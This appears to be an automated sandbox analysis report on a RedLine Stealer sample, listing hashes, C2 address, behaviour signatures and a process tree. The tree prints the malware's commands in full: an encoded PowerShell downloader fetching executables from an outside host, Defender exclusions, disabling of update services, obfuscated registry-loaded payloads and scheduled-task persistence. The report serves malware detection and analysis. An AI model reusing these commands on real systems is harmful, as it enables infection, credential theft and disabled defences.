Analysis
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max time kernel
151s -
max time network
59s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
06/01/2023, 06:41
Static task
static1
Behavioral task
behavioral1
Sample
8aae493caafa6e42a5a7afe431aeac120ce4c152.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
8aae493caafa6e42a5a7afe431aeac120ce4c152.exe
Resource
win10v2004-20221111-en
General
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Target
8aae493caafa6e42a5a7afe431aeac120ce4c152.exe
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Size
197KB
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MD5
78e69dd4d4eb058e9a2de5c4082c3133
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SHA1
8aae493caafa6e42a5a7afe431aeac120ce4c152
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SHA256
d3527f53eea79b90e0ea31e8c07a47924bdc0ed0dbaf635df7bb51fd580c91db
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SHA512
42e6b6950f6ce3b21d107acffe1c68c19193ad6f54538caad9fc84d0d143ee6e753cfb4c64f96ef2fb22ef7c1049cf1496a94382d2166ff67312f6cad1444777
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SSDEEP
6144:vmrFp1Uv1cVoar1HqOAORbMCIqxb/cTkc:vGFpv3vvbPb/cX
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 2 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 4 IoCs
resource yara_rule behavioral1/memory/1608-99-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/1608-104-0x000000000041ADAE-mapping.dmp family_redline behavioral1/memory/1608-106-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/1608-107-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1408 created 1356 1408 SmartDefRun.exe 12 PID 1408 created 1356 1408 SmartDefRun.exe 12 PID 1408 created 1356 1408 SmartDefRun.exe 12 PID 1408 created 1356 1408 SmartDefRun.exe 12 PID 1536 created 420 1536 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 4 1448 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 5 IoCs
pid Process 1772 C4Loader.exe 1184 new2.exe 1696 SysApp.exe 1408 SmartDefRun.exe 2016 fodhelper.exe -
Stops running service(s) 3 TTPs
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Loads dropped DLL 10 IoCs
pid Process 1448 powershell.exe 1448 powershell.exe 1448 powershell.exe 1448 powershell.exe 1448 powershell.exe 1448 powershell.exe 1448 powershell.exe 712 WerFault.exe 712 WerFault.exe 712 WerFault.exe -
Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File created C:\Windows\System32\Tasks\Telemetry Logging svchost.exe File opened for modification C:\Windows\System32\Tasks\Telemetry Logging svchost.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1752 set thread context of 1948 1752 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 27 PID 1184 set thread context of 1608 1184 new2.exe 35 PID 1408 set thread context of 1884 1408 SmartDefRun.exe 54 PID 1536 set thread context of 1448 1536 powershell.EXE 61 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2040 sc.exe 288 sc.exe 1760 sc.exe 1936 sc.exe 996 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 944 1752 WerFault.exe 25 712 1184 WerFault.exe 32 -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1920 schtasks.exe 320 schtasks.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e099d75fa221d901 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1448 powershell.exe 1448 powershell.exe 1448 powershell.exe 1448 powershell.exe 1448 powershell.exe 1448 powershell.exe 1448 powershell.exe 1448 powershell.exe 1448 powershell.exe 1696 SysApp.exe 1696 SysApp.exe 1696 SysApp.exe 1696 SysApp.exe 1696 SysApp.exe 1408 SmartDefRun.exe 1408 SmartDefRun.exe 592 powershell.exe 1408 SmartDefRun.exe 1408 SmartDefRun.exe 1408 SmartDefRun.exe 1408 SmartDefRun.exe 1576 powershell.exe 1408 SmartDefRun.exe 1408 SmartDefRun.exe 1536 powershell.EXE 1664 powershell.EXE 1608 vbc.exe 1536 powershell.EXE 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe 1448 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 1448 powershell.exe Token: SeDebugPrivilege 592 powershell.exe Token: SeDebugPrivilege 1576 powershell.exe Token: SeDebugPrivilege 1536 powershell.EXE Token: SeDebugPrivilege 1664 powershell.EXE Token: SeDebugPrivilege 1608 vbc.exe Token: SeDebugPrivilege 1536 powershell.EXE Token: SeDebugPrivilege 1448 dllhost.exe Token: SeShutdownPrivilege 1356 Explorer.EXE Token: SeShutdownPrivilege 1356 Explorer.EXE Token: SeShutdownPrivilege 1356 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1752 wrote to memory of 1948 1752 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 27 PID 1752 wrote to memory of 1948 1752 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 27 PID 1752 wrote to memory of 1948 1752 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 27 PID 1752 wrote to memory of 1948 1752 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 27 PID 1752 wrote to memory of 1948 1752 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 27 PID 1752 wrote to memory of 1948 1752 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 27 PID 1752 wrote to memory of 944 1752 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 28 PID 1752 wrote to memory of 944 1752 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 28 PID 1752 wrote to memory of 944 1752 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 28 PID 1752 wrote to memory of 944 1752 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 28 PID 1948 wrote to memory of 1448 1948 vbc.exe 29 PID 1948 wrote to memory of 1448 1948 vbc.exe 29 PID 1948 wrote to memory of 1448 1948 vbc.exe 29 PID 1948 wrote to memory of 1448 1948 vbc.exe 29 PID 1448 wrote to memory of 1772 1448 powershell.exe 31 PID 1448 wrote to memory of 1772 1448 powershell.exe 31 PID 1448 wrote to memory of 1772 1448 powershell.exe 31 PID 1448 wrote to memory of 1772 1448 powershell.exe 31 PID 1448 wrote to memory of 1184 1448 powershell.exe 32 PID 1448 wrote to memory of 1184 1448 powershell.exe 32 PID 1448 wrote to memory of 1184 1448 powershell.exe 32 PID 1448 wrote to memory of 1184 1448 powershell.exe 32 PID 1448 wrote to memory of 1696 1448 powershell.exe 33 PID 1448 wrote to memory of 1696 1448 powershell.exe 33 PID 1448 wrote to memory of 1696 1448 powershell.exe 33 PID 1448 wrote to memory of 1696 1448 powershell.exe 33 PID 1448 wrote to memory of 1408 1448 powershell.exe 34 PID 1448 wrote to memory of 1408 1448 powershell.exe 34 PID 1448 wrote to memory of 1408 1448 powershell.exe 34 PID 1448 wrote to memory of 1408 1448 powershell.exe 34 PID 1184 wrote to memory of 1608 1184 new2.exe 35 PID 1184 wrote to memory of 1608 1184 new2.exe 35 PID 1184 wrote to memory of 1608 1184 new2.exe 35 PID 1184 wrote to memory of 1608 1184 new2.exe 35 PID 1184 wrote to memory of 1608 1184 new2.exe 35 PID 1184 wrote to memory of 1608 1184 new2.exe 35 PID 1184 wrote to memory of 712 1184 new2.exe 36 PID 1184 wrote to memory of 712 1184 new2.exe 36 PID 1184 wrote to memory of 712 1184 new2.exe 36 PID 1184 wrote to memory of 712 1184 new2.exe 36 PID 1688 wrote to memory of 1936 1688 cmd.exe 43 PID 1688 wrote to memory of 1936 1688 cmd.exe 43 PID 1688 wrote to memory of 1936 1688 cmd.exe 43 PID 1688 wrote to memory of 996 1688 cmd.exe 44 PID 1688 wrote to memory of 996 1688 cmd.exe 44 PID 1688 wrote to memory of 996 1688 cmd.exe 44 PID 1688 wrote to memory of 2040 1688 cmd.exe 45 PID 1688 wrote to memory of 2040 1688 cmd.exe 45 PID 1688 wrote to memory of 2040 1688 cmd.exe 45 PID 1688 wrote to memory of 288 1688 cmd.exe 46 PID 1688 wrote to memory of 288 1688 cmd.exe 46 PID 1688 wrote to memory of 288 1688 cmd.exe 46 PID 1688 wrote to memory of 1760 1688 cmd.exe 47 PID 1688 wrote to memory of 1760 1688 cmd.exe 47 PID 1688 wrote to memory of 1760 1688 cmd.exe 47 PID 1688 wrote to memory of 1204 1688 cmd.exe 48 PID 1688 wrote to memory of 1204 1688 cmd.exe 48 PID 1688 wrote to memory of 1204 1688 cmd.exe 48 PID 1688 wrote to memory of 832 1688 cmd.exe 49 PID 1688 wrote to memory of 832 1688 cmd.exe 49 PID 1688 wrote to memory of 832 1688 cmd.exe 49 PID 1576 wrote to memory of 1920 1576 powershell.exe 50 PID 1576 wrote to memory of 1920 1576 powershell.exe 50 PID 1576 wrote to memory of 1920 1576 powershell.exe 50
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:476
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C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:468
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:868 -
C:\Windows\system32\taskeng.exetaskeng.exe {F2A5DF84-4710-469B-B306-57D2457B0B1B} S-1-5-18:NT AUTHORITY\System:Service:3⤵PID:864
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+'T'+''+'W'+''+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1664
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+'s'+[Char](116)+''+[Char](97)+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1536
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C:\Windows\system32\taskeng.exetaskeng.exe {7F67C8E2-7146-4895-B05C-C278766CB3FF} S-1-5-21-999675638-2867687379-27515722-1000:ORXGKKZC\Admin:Interactive:[1]3⤵PID:1620
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C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exeC:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe4⤵
- Executes dropped EXE
PID:2016
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:284
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C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1240
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:1792
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C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1036
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:292
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:844
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:804
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵PID:740
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:584
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:420
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{bad04f5c-7336-472c-a038-849aac8259ca}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1448
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C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:484
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1356 -
C:\Users\Admin\AppData\Local\Temp\8aae493caafa6e42a5a7afe431aeac120ce4c152.exe"C:\Users\Admin\AppData\Local\Temp\8aae493caafa6e42a5a7afe431aeac120ce4c152.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1752 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1948 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1448 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1772
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1608
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1184 -s 1166⤵
- Loads dropped DLL
- Program crash
PID:712
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1696 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:320
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1408
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1752 -s 483⤵
- Program crash
PID:944
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:592
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1936
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:996
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2040
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:288
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1760
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1204
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:832
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:316
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1640
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1448
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1576 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
PID:1920
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:1884
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C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵PID:1320
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "5597716341846598395-12291251421762378907-2078396889-1296264297226999884686343503"1⤵PID:1456
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "2003028036-2104442070-5754627553685712781196047118-546079873-241399981829220445"1⤵PID:1668
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
